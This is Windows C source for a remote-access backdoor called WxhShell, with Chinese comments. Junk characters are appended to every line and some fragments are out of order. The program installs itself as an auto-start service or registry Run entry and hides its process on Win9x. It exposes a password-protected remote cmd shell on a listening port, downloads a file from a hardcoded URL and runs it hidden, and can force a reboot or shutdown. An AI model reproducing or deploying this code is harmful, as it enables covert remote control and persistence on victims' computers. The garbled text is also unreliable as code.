  // 关机 Aydpr_lp  
  case 'd': { bcq&yL'D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7YxVtN  
    if(Boot(SHUTDOWN)) 8_VGB0~3i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); '&+]85_&$  
    else { x2sKj"2?@  
    closesocket(wsh); 5T%2al,F`  
    ExitThread(0); aGd wuD  
    } j 1;<3)%0  
    break; DRpF EWsm  
    } >F>VlRg  
  // 获取shell O{EPq' x  
  case 's': { h'HI92; [  
    CmdShell(wsh); DcNp-X40I  
    closesocket(wsh); kY?tUpM!TB  
    ExitThread(0); ,5V6=pr$  
    break; %AN,cE*  
  } L+S)hgUH  
  // 退出 ,k_"T.w  
  case 'x': { l$Vy\CfK3n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); xL*J9&~iG  
    CloseIt(wsh); H C=ZcK'W  
    break; cQ]c!G|a4  
    } Wco2i m  
  // 离开 *MS$C$HOq  
  case 'q': { r.'xqzF/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @ x .`z  
    closesocket(wsh); ; Xf1BG r  
    WSACleanup(); $KQ q~|  
    exit(1); YKz#,  
    break; 9%Tqk"x?  
        } Zs]n0iwM'@  
  } {sf ,(.W  
  } gxhdxSm=2  
-uxU[E  
  // 提示信息 u]Q}jqiq"  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +;\w'dBi,  
} SXP(C^?C  
  } sE'c$H  
o5j6(`#;  
  return; I(Qz%/Ox  
} (uDAdE5  
|gWA'O0S  
// shell模块句柄 X 0iy  
int CmdShell(SOCKET sock) !uoT8BBAk  
{ oN[}i6^,e  
STARTUPINFO si; O\ _ro.  
ZeroMemory(&si,sizeof(si)); `<|tC#<z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \gA<yz-;N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 0zA;%oP  
PROCESS_INFORMATION ProcessInfo; ilde<!?  
char cmdline[]="cmd"; ImG8v[Q E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hsQDRx%H}  
  return 0; ht*(@MCr<  
} \i/HHP[%  
~&<t++ g  
// 自身启动模式  =   
int StartFromService(void) IA<>+NS  
{ HHZw-/ s,%  
typedef struct xVw@pR;  
{ ]\KVA)\  
  DWORD ExitStatus; ^8EW/$k  
  DWORD PebBaseAddress; <$yA*  
  DWORD AffinityMask; `u}_O(A1pA  
  DWORD BasePriority; mZ2CG O R  
  ULONG UniqueProcessId; :{N*Z}]  
  ULONG InheritedFromUniqueProcessId; U#c Gd\b  
}   PROCESS_BASIC_INFORMATION; #Lpw8b6  
 [Q{\Ik  
PROCNTQSIP NtQueryInformationProcess; ?)J/uU2w  
D{s87h  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i%!<6K6UT  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; pHoHngyi&  
-yB}(69  
  HANDLE             hProcess; xh bN=L  
  PROCESS_BASIC_INFORMATION pbi; '5 Yzo^R;  
f*<Vq:N=\  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F{;#\Ob  
  if(NULL == hInst ) return 0; (BPO*'  
NuPlrCy;  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n<bU'n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); AwXzI;F^  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L'r&'y[  
z?<B@\~  
  if (!NtQueryInformationProcess) return 0; lHtywZ@%3  
5\# F5s}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %SOXw 8-  
  if(!hProcess) return 0; >zqaV@T  
{N>ju  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ` @  YV  
sBB[u'h!  
  CloseHandle(hProcess); ?tY+P`S  
 u&#>)h  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 2zqaR[C  
if(hProcess==NULL) return 0; l>K+4  
cN0 *<  
HMODULE hMod; 1R3,Z8j'  
char procName[255]; !DzeJWM|  
unsigned long cbNeeded; ru@#s2  
PkrVQH9^w  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9:4S[mz/hD  
w.w{L=p:<"  
  CloseHandle(hProcess); $*942. =Q  
pdRM%ug   
if(strstr(procName,"services")) return 1; // 以服务启动 ?/OF=C#  
~*7$aj  
  return 0; // 注册表启动 k7Bh[ ..!  
} &Gh0f"?  
o[cOL^Xd1  
// 主模块 KR#,6  
int StartWxhshell(LPSTR lpCmdLine) ":$4/b6  
{ D#L(ZlD4  
  SOCKET wsl; q4[8\Ua  
BOOL val=TRUE; {6H[[7i  
  int port=0; }lIc{R@H  
  struct sockaddr_in door; V*b/N  
*sOb I(&  
  if(wscfg.ws_autoins) Install(); 3~T ~Bs  
ekvs3a^  
port=atoi(lpCmdLine); (O{OQk;CF  
fr/EkL1Dl  
if(port<=0) port=wscfg.ws_port; ):'wxIVGI  
86OrJdD8  
  WSADATA data; U;#KFZ+~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 3A!a7]fW  
>O?WRC B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `Y:]&w  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5P\>$N1p  
  door.sin_family = AF_INET; w\acgQ^%e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 7. <jdp  
  door.sin_port = htons(port); a2B71RT~  
4W" A*A  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \1!Q.V  
closesocket(wsl); ,gVVYH?qR  
return 1; BQ0?B*yqd  
} oj djy#:  
A,.X  
  if(listen(wsl,2) == INVALID_SOCKET) { m "9f(  
closesocket(wsl); YbU8 xq  
return 1;  9!jPZn  
} Mwnr4$]  
  Wxhshell(wsl); 0~fjY^(  
  WSACleanup(); qUd7O](b=?  
AB'+6QU9k  
return 0; !^% 3  
h p|v?3(  
} QEs$9a5TE  
rJ Jx8)M  
// 以NT服务方式启动 #gQn3.PX+y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ByY2KJ7  
{ RqTO3Kf  
DWORD   status = 0; >Bb X:  
  DWORD   specificError = 0xfffffff; gS'{JZu2  
9,'m,2%W  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Qb^G1#r@C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J _O5^=BP  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; D`JBK?~  
  serviceStatus.dwWin32ExitCode     = 0; K5qCPt`'  
  serviceStatus.dwServiceSpecificExitCode = 0; JJd qdX;  
  serviceStatus.dwCheckPoint       = 0; }n==^2  
  serviceStatus.dwWaitHint       = 0; wtek5C^  
\Osu1]Jn>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ==[=Da~  
  if (hServiceStatusHandle==0) return; ZRxOXt&;  
?$6H',u  
status = GetLastError(); U*[E+Uq}:N  
  if (status!=NO_ERROR) l1 Kv`v\  
{ I1fpX |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j+_fHADq  
    serviceStatus.dwCheckPoint       = 0; BX?DI-o^h  
    serviceStatus.dwWaitHint       = 0; +]%S}<R  
    serviceStatus.dwWin32ExitCode     = status; T'5{p  
    serviceStatus.dwServiceSpecificExitCode = specificError; |Mq+QDTTw~  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G\gjCp?!  
    return; TN0KS]^A3  
  } rM7qBt  
C#U(POA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qi4P(s-i  
  serviceStatus.dwCheckPoint       = 0; Mh7m2\fLbd  
  serviceStatus.dwWaitHint       = 0; yiZtG#6K{  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0)WAQt\/  
} _= v4Iz0  
R])Eg&  
// 处理NT服务事件,比如:启动、停止 AT"gRCU$4  
VOID WINAPI NTServiceHandler(DWORD fdwControl) a!$kKOK  
{ >B{NxL3->  
switch(fdwControl) ~*Y#Y{  
{ FW|& iS$  
case SERVICE_CONTROL_STOP: u(f   
  serviceStatus.dwWin32ExitCode = 0; jA{5)-g  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dQj/ Sr  
  serviceStatus.dwCheckPoint   = 0; i5}Zk r  
  serviceStatus.dwWaitHint     = 0; DO: ,PZX  
  { J9mK9{#q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <T_3s\  
  } bTD?uX!^@  
  return; cT'Bp)a  
case SERVICE_CONTROL_PAUSE: 4EqThvI{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; H3rA ?F#+*  
  break; Pp_ 4B  
case SERVICE_CONTROL_CONTINUE: ]rlZP1".  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; .#yg=t1C  
  break; ^+m`mcsE  
case SERVICE_CONTROL_INTERROGATE: '3>;8(s l  
  break; aS [[ AL  
}; Ljy797{f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); K{P-+(  
} ,clbD4  
LIID(s!bX  
// 标准应用程序主函数  ~71U s  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ; JkSZs3  
{ Ce}`z L  
=d{6=2Pt  
// 获取操作系统版本 4zMvHe  
OsIsNt=GetOsVer(); [bh?p+V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 40kAGs>_  
?6:qAFw  
  // 从命令行安装 sq'm)g  
  if(strpbrk(lpCmdLine,"iI")) Install(); kOQ)QX  
k+h}HCzE  
  // 下载执行文件 ztO)~uL  
if(wscfg.ws_downexe) { U<j5s\Y,  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) lCU clD  
  WinExec(wscfg.ws_filenam,SW_HIDE); & &}_[{fc  
} P)Adb~r  
h[remR# 3\  
if(!OsIsNt) { PF~@@j  
// 如果时win9x,隐藏进程并且设置为注册表启动 W;OGdAa_  
HideProc(); _EMI%P& s  
StartWxhshell(lpCmdLine); P =X]'m_B  
} $Z G&d  
else xvTtA61Vp  
  if(StartFromService()) o,rF15  
  // 以服务方式启动 KR?;7*qF  
  StartServiceCtrlDispatcher(DispatchTable); (K[{X0T  
else 9<Pg2#*N0  
  // 普通方式启动 ^N={4'G)  
  StartWxhshell(lpCmdLine); =!\Nh,\eQ  
#p(gB)o:l  
return 0; Xw4Eti._D  
} eQ>Ur2H8n  
^Hn}\5  
'NtI bS  
R (f:UC  
=========================================== %ztZ#h~g  
px;~20$e  
[K4cxqlfk  
bg zd($)u  
 y<Koc>8  
KtQs uL%  
" ^?lpY{aa  
KTm^}')C8  
#include <stdio.h> Cv,WG]E7(  
#include <string.h> P'<i3#;7X  
#include <windows.h> ` i[26Qb  
#include <winsock2.h> 1TZ[i  
#include <winsvc.h> zb0NqIN:  
#include <urlmon.h> u2#q7}  
mE<_oRM)  
#pragma comment (lib, "Ws2_32.lib") kZ% AGc  
#pragma comment (lib, "urlmon.lib") iV{_?f1jo  
oywiX@]~7  
#define MAX_USER   100 // 最大客户端连接数 [piK"N  
#define BUF_SOCK   200 // sock buffer !4p{ b f  
#define KEY_BUFF   255 // 输入 buffer I1 ]YT  
d4b!  r  
#define REBOOT     0   // 重启 7\UHADr  
#define SHUTDOWN   1   // 关机 $>/d)o  
H(^Eh v>  
#define DEF_PORT   5000 // 监听端口 _`?0w#> 0  
1clzDwW  
#define REG_LEN     16   // 注册表键长度 \n_7+[=E  
#define SVC_LEN     80   // NT服务名长度 ='"Yj  
q2%cLbI F  
// 从dll定义API {-5)nS^_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $1])>m_ct  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u#ya 8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); IUOf/mM5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); MD[hqshoh  
F8w7N$/V",  
// wxhshell配置信息 gN/!w:  
struct WSCFG { Q`bXsH  
  int ws_port;         // 监听端口 5p.rd0T]l3  
  char ws_passstr[REG_LEN]; // 口令 08ZvRy(Je<  
  int ws_autoins;       // 安装标记, 1=yes 0=no .F ?ww}2p]  
  char ws_regname[REG_LEN]; // 注册表键名 ?xaUWD  
  char ws_svcname[REG_LEN]; // 服务名 ;2kQ)Bq"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 2VV>?s  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6/;YS[jX  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +C`!4v\n  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1EV bGe%b  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" nFni1cCD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &eV5#Ph  
^JY {<   
}; !{l% 3'2  
?c8~VQaQ  
// default Wxhshell configuration _f!ko<52  
struct WSCFG wscfg={DEF_PORT, I!/EQO|  
    "xuhuanlingzhe", %E%=Za  
    1, .w4|$.H  
    "Wxhshell", z_'^=9m  
    "Wxhshell", n~lB}  
            "WxhShell Service", _h1bVd-  
    "Wrsky Windows CmdShell Service", Sj ovL@X  
    "Please Input Your Password: ", @JSWqi>  
  1, ( %7V  
  "http://www.wrsky.com/wxhshell.exe", ?h`,@~6u  
  "Wxhshell.exe" >9w^C1"  
    }; 0s`6d;  
o*$KiD  
// 消息定义模块 F.TIdkvp  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 8fQ~UcT$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gm- "?4(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w^L`"  
char *msg_ws_ext="\n\rExit."; pqg2#@F.  
char *msg_ws_end="\n\rQuit."; =)bOteWM  
char *msg_ws_boot="\n\rReboot..."; Ls2OnL9  
char *msg_ws_poff="\n\rShutdown..."; q;AD#A|\  
char *msg_ws_down="\n\rSave to "; OG#^d5(  
lZwjrU| _  
char *msg_ws_err="\n\rErr!"; C 9%bD  
char *msg_ws_ok="\n\rOK!"; 7Ydqg&  
N)(m^M(~0  
char ExeFile[MAX_PATH]; lz=DGm  
int nUser = 0; pKLcg"{[F  
HANDLE handles[MAX_USER]; W<<G  'Km  
int OsIsNt; 6`9QGi,)  
pRfKlTU\  
SERVICE_STATUS       serviceStatus; UusAsezm:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Z( :\Vj"  
(B\Kb4m  
// 函数声明 y1 a%f.F`  
int Install(void); nIH(2j  
int Uninstall(void); yi^X?E{WnX  
int DownloadFile(char *sURL, SOCKET wsh); 7NEOaX(J9  
int Boot(int flag); 4"PA7 e  
void HideProc(void); OC5oxL2HTe  
int GetOsVer(void); 0084`&Ki  
int Wxhshell(SOCKET wsl); B)/&xQu  
void TalkWithClient(void *cs); EW]DzL 3  
int CmdShell(SOCKET sock); 7_Vd%<:  
int StartFromService(void); 0of:tZU  
int StartWxhshell(LPSTR lpCmdLine); G,A?yM'Vw  
,pcyU\68v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M]V j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @{V`g8P>  
4=q4_ \_T  
// 数据结构和表定义 Rq1 5AR  
SERVICE_TABLE_ENTRY DispatchTable[] = z .lb(xQ  
{ >$}Mr%49  
{wscfg.ws_svcname, NTServiceMain}, #p"F$@N   
{NULL, NULL} []\-*{^r  
}; ]UO zz1   
MeD/)T{G~  
// 自我安装 f$ /C.E  
int Install(void) g?1bEOA!  
{ [ GknE#p  
  char svExeFile[MAX_PATH]; -0(+a$P7e  
  HKEY key; 2;:]Q.g  
  strcpy(svExeFile,ExeFile); S%p,.0_  
^p4`o>  
// 如果是win9x系统,修改注册表设为自启动 \R&ZWJKh  
if(!OsIsNt) { }f> 81[^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { aQhT*OT{Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rDaiA x&  
  RegCloseKey(key); b0f6?s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { !6.LSY,E  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bjUe+ #BL  
  RegCloseKey(key); "7 alpjwb  
  return 0; 2aivc,m{r  
    } &}gH!5L m  
  } ]mBlXE:Z  
} #)D$\0ag  
else { 7TX$  
{w>ofyqfp&  
// 如果是NT以上系统,安装为系统服务 6wiuNGZb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); U&kdR+dB  
if (schSCManager!=0) Mn\L55?E(  
{ ke*&*mx"L  
  SC_HANDLE schService = CreateService ygm=q^bV]s  
  ( -}qay@cDt  
  schSCManager, ),;h  
  wscfg.ws_svcname, On4Vqbks  
  wscfg.ws_svcdisp, 09Oe-Bg  
  SERVICE_ALL_ACCESS, Xa8_kv_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -?T|1FA,  
  SERVICE_AUTO_START, ^-# :T  
  SERVICE_ERROR_NORMAL, vO{[P# L}  
  svExeFile, 1i Y?t  
  NULL, Z _<Wr7D  
  NULL, n-9X<t|*?a  
  NULL, k<*1mS8  
  NULL, ,J*#Ixe}  
  NULL a;7gy419<p  
  ); blV'-Al  
  if (schService!=0) d#,   
  { tG,xG&  
  CloseServiceHandle(schService); YcaLc_pUx  
  CloseServiceHandle(schSCManager); _#UhXXD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); z<"\I60Fe  
  strcat(svExeFile,wscfg.ws_svcname); U,/9fzgd  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { kD+B8TrW  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XK l3B=h  
  RegCloseKey(key); 9OF(UFgS  
  return 0; (j}Wt8  
    } Y%rC\Ij/i  
  } =>C3IR/  
  CloseServiceHandle(schSCManager); [Az^i>iH  
} nRZ T~S4  
} Qa16x<Xlm  
xJzO?a'  
return 1; . =A|  
} ">I50#bT  
wCr+/" t  
// 自我卸载 i V%tn{fc  
int Uninstall(void) @n=FSn6 c  
{ Jxb+NPUB  
  HKEY key; ~f2-%~  
YsjTC$Tx,  
if(!OsIsNt) { wmv/ ?g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Vzrp9&loY  
  RegDeleteValue(key,wscfg.ws_regname); vn5]+-I  
  RegCloseKey(key); ! F&{I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q5v_^O<!  
  RegDeleteValue(key,wscfg.ws_regname); bF3}L=z  
  RegCloseKey(key); NE$=R"<Gv  
  return 0; 7^8<[8  
  } -,xsUw4  
} My >{;n=}  
} r#.\5aQ t  
else { my3W[3#  
} SA/,4/9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v?1xYG@1  
if (schSCManager!=0) 0SLn0vD!  
{ EEp,Z`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ~_L_un.R  
  if (schService!=0) G5x%:,n  
  { b!|c:mE9|  
  if(DeleteService(schService)!=0) { T*C]:=)  
  CloseServiceHandle(schService); zw X 1&rN  
  CloseServiceHandle(schSCManager); w0t||qj^>"  
  return 0; t?kbN\,  
  } n|iO)L\9aB  
  CloseServiceHandle(schService); ~); 7D'[  
  } yX8$LOjE  
  CloseServiceHandle(schSCManager); Zz04Pz1  
} Qjh @oWT  
} A[oxG;9xi  
*FUbKr0  
return 1; aV8]?E5G  
} AUAJMS!m  
V5LzUg]  
// 从指定url下载文件 AA,n.;zy<  
int DownloadFile(char *sURL, SOCKET wsh) RV:%^=V-  
{ ]^^mJt.Iv  
  HRESULT hr; >H?{=H+/#  
char seps[]= "/"; rOy-6og  
char *token; O%kX=6  
char *file; Xn3Ph!\Z5e  
char myURL[MAX_PATH]; gg%OOvaj5  
char myFILE[MAX_PATH]; O}#h^AU-BS  
] Vbv64M3  
strcpy(myURL,sURL); F .JvMy3  
  token=strtok(myURL,seps); m;nT ?kv  
  while(token!=NULL) }%9A+w}o  
  { Lm}:`  
    file=token; Fn!kest  
  token=strtok(NULL,seps); 3v%V\kO=F  
  } cA4xx^~  
7].FdjT.  
GetCurrentDirectory(MAX_PATH,myFILE); W`-AN}C#  
strcat(myFILE, "\\"); !8O*)=RA  
strcat(myFILE, file); +H~})PeQ  
  send(wsh,myFILE,strlen(myFILE),0); r6`v-TY(/  
send(wsh,"...",3,0); poYO  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <OEu 4,~:  
  if(hr==S_OK) ?8Hr 9  
return 0; !8U\GR `  
else .pOTIRbA  
return 1; ^i^/d#  
>{^&;$G+*  
} W`^Zb[  
E(oI0*S.5  
// 系统电源模块 7x^P74  
int Boot(int flag) 58Fan*fO  
{ &pD6Qq{  
  HANDLE hToken; ]?`t spm<t  
  TOKEN_PRIVILEGES tkp; =q( ;g]e  
5Vzi{y/bL  
  if(OsIsNt) { =5jX#Dc5.+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); qffXm `k  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8I'c83w  
    tkp.PrivilegeCount = 1; <O cD[5  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O&?i8XsB  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q!:J.J  
if(flag==REBOOT) { iC`K$LY4W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) !e >EDYbY  
  return 0; N(W ;(7  
} [s4lSGh  
else { w"O^CR)  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V\"x#uB  
  return 0; m]$!wp  
}  T^ ^o  
  } ~g+?]Lk}  
  else { wYJ.F  
if(flag==REBOOT) { dhW)<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h`OX()N  
  return 0; dw8Ce8W  
} 7 p(^I*|  
else { 7W6tz\Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) `2y2Bk  
  return 0; brGUK PB  
} ([='LyH];z  
} jd|? aK;(  
0S0 ?\r  
return 1; JZP>`c21y]  
} +.T&U7xV  
fYR*B0tu  
// win9x进程隐藏模块 lz1l1.f8  
void HideProc(void) `Li3=!V[  
{ G-[fz  
Lmx95[#@a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); _ a|zvH  
  if ( hKernel != NULL )  h+Dp<b  
  { (7G5y7wI"  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); y1!c:&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); NZSP*#!B  
    FreeLibrary(hKernel); t8,s]I&  
  } ~*9 vn Z@  
^9 gFW $]  
return; *4;MO2g  
} VQO6!ToKY  
*wcb5p  
// 获取操作系统版本 o[W7'1O  
int GetOsVer(void) vd>X4e ^j  
{ ]?p&sI4  
  OSVERSIONINFO winfo; G%w hOIFRq  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4~8++b1/;  
  GetVersionEx(&winfo); .V9/0  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) mr]IxTv  
  return 1; ({g7{tUy^H  
  else Gk0f#;  
  return 0; #8G (r9  
} w:P$ S  
y{ReQn3> y  
// 客户端句柄模块 @sRUl ,M;Z  
int Wxhshell(SOCKET wsl) u;m[,  
{ IP K.  
  SOCKET wsh; ^~k2(DLk  
  struct sockaddr_in client; @bQf =N+  
  DWORD myID; 1-4iy_d  
,rT62w*e  
  while(nUser<MAX_USER) )54;YK  
{ S+G!o]&2  
  int nSize=sizeof(client); C~Fdo0D  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); p}%T`e=Z9  
  if(wsh==INVALID_SOCKET) return 1; 01VEz 8[\  
hiWfVz{~  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :<l(l\MC  
if(handles[nUser]==0) ]p/f@j?LU  
  closesocket(wsh); (5y+g?9d;  
else -NW7ncB|  
  nUser++; Z&gM7Zo8  
  } L|Zja*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,*SoV~  
c=iv\hn  
  return 0; kGsd3t!'  
} ,C%fA>?UF8  
hm"i\JZ3N  
// 关闭 socket ,"~#s(  
void CloseIt(SOCKET wsh) OTs vox|(  
{ 1'wwwxe7  
closesocket(wsh); og<mFbqkq7  
nUser--; C 7)w8y  
ExitThread(0); X#KC<BXw,  
} <<}t&qE%2%  
Fp52 |w_  
// 客户端请求句柄 &L[oQni];2  
void TalkWithClient(void *cs) ],l w  
{ n4Od4&r  
E^z\b *  
  SOCKET wsh=(SOCKET)cs; EY=`/~|c  
  char pwd[SVC_LEN]; @giJ&3S,  
  char cmd[KEY_BUFF]; .:?X<=!S&t  
char chr[1]; V3 j1M?>  
int i,j; z DDvXz  
42X N*br  
  while (nUser < MAX_USER) { ;Z%PBMa  
-I-u.!  
if(wscfg.ws_passstr) { 7p'L(dq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bi`{ k\3A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); by z2u  
  //ZeroMemory(pwd,KEY_BUFF); S&]AIG)  
      i=0; Wy{xTLXk2  
  while(i<SVC_LEN) { d7 )&Z:  
tW4|\-E"s4  
  // 设置超时 ^V]DQ%v"I  
  fd_set FdRead; #w\Bc\  
  struct timeval TimeOut; d4OWnPHv&}  
  FD_ZERO(&FdRead); ck-ab0n  
  FD_SET(wsh,&FdRead); 2%Bq[SMuN  
  TimeOut.tv_sec=8; +X)n}jh  
  TimeOut.tv_usec=0; d1YE$   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); HAa2q=  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bvY'=   
!QK ~l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *7.EL`8  
  pwd=chr[0]; 6%  +s`  
  if(chr[0]==0xd || chr[0]==0xa) { <xOv0B  
  pwd=0; T~B'- >O  
  break; [C)JI;\  
  } ,MkldCV  
  i++; K:Mm?28s  
    } P|mV((/m4  
"vVL52HwB  
  // 如果是非法用户,关闭 socket :2#8\7IU^'  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MRzrZZ%LQ  
} Q"UWh~  
^6*LuXPv  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); HZ$q`e  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gG;d+s1  
6- H81y 3  
while(1) { V\k?$}  
oNV5su  
  ZeroMemory(cmd,KEY_BUFF); V_Owi5h  
S}zh0`+d'Z  
      // 自动支持客户端 telnet标准   pAwmQS\W  
  j=0; C1 qyjlR  
  while(j<KEY_BUFF) { a&yIH;-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); XEd|<+P1  
  cmd[j]=chr[0]; %si5cc?  
  if(chr[0]==0xa || chr[0]==0xd) { +[l52p@a  
  cmd[j]=0; TE+d?  
  break; ~I^}'^Dbb  
  } 1eG@?~G  
  j++; 4 qdLH^dX  
    } -P!_<\q\l  
TUeW-'/1  
  // 下载文件 _y~H#r9:  
  if(strstr(cmd,"http://")) { .eQIU$Kw!O  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0fc]RkHs"  
  if(DownloadFile(cmd,wsh)) A)I4 `3E  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); - zaqL\  
  else .;6G?8`  
